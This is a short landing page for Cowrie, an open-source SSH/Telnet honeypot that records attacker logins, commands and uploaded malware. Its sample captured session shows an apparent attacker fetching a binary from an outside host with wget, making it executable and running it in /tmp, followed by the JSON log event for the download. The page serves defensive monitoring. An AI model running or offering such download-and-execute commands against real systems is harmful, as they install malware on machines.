Open source · SSH and Telnet honeypot
Let attackers in.Record everything.
Cowrie pretends to be a vulnerable server. It logs brute-force logins, records every command attackers type, saves the malware they upload, and sends it all to your analysis tools as JSON.
Python · BSD license · maintained since 2014
[email protected]'s password: Last login: Thu Sep 11 09:14:02 2026 from 198.51.100.23 root@svr04:~# uname -a Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux root@svr04:~# cat /proc/cpuinfo | grep name | wc -l 1 root@svr04:~# cd /tmp; wget http://198.51.100.23/x86; chmod +x x86; ./x86 --2026-09-11 09:14:31-- http://198.51.100.23/x86 Connecting to 198.51.100.23:80... connected. HTTP request sent, awaiting response... 200 OK Length: 112640 (110K) [application/octet-stream] Saving to: 'x86' x86 100%[===================>] 110.00K --.-KB/s in 0.1s root@svr04:/tmp#
{"eventid": "cowrie.session.file_download", "src_ip": "198.51.100.23", "url": "http://198.51.100.23/x86", "shasum": "3f7a1c…9e2b", "outfile": "dl/3f7a1c…9e2b", "session": "d0c5a9b21e4f"}